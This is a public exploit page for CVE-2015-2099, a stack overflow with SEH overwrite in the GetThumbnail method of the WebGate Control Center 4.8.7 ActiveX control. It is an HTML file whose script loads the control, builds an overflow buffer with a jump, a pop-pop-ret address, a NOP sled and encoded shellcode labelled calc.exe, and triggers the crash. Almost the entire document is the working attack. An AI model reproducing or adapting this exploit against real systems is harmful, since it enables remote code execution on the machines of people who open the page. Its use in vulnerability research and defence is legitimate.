WebGate Control Center 4.8.7 - GetThumbnail Stack Overflow

<html>
<!--
Author: Praveen Darshanam
http://blog.disects.com/
http://darshanams.blogspot.com

# Exploit Title: WebGate Control Center GetThumbnail Stack Overflow SEH Overwrite (0Day)
# Date: 27th March, 2015
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
# Software Link: http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=35
# Version: Control Center 4.8.7
# Tested on: Windows XP SP3 using IE/6/7/8
# CVE : 2015-2099

targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll"
prototype  = "Sub GetThumbnail ( ByVal SiteSerialNumber As String ,  ByVal Channel As Integer ,  ByVal secTime As Long ,  ByVal miliTime As Integer )"
progid     = "WESPPLAYBACKLib.WESPPlaybackCtrl"
-->

<object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='getthumb'>
</object>
<script>

var buff1 = "";
var arg2=1;
var arg3=1;
var arg4=1;
var nops = "";
var buff2 = "";

for (i=0;i<24; i++)
{
	buff1 += "B";
}

// jump over seh to shellcode
nseh = "\xeb\x08PD";
// pop pop ret
var seh = "\xa0\xf2\x07\x10";

for (i=0;i<80; i++)
{
	nops += "\x90";
}
//calc.exe payload
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";

for (i=0;i<(5000-(buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++)
{
	buff2 += "A";
}

fbuff = buff1 + nseh + seh + nops + sc + buff2;
getthumb.GetThumbnail(fbuff ,arg2 ,arg3 ,arg4);

</script>
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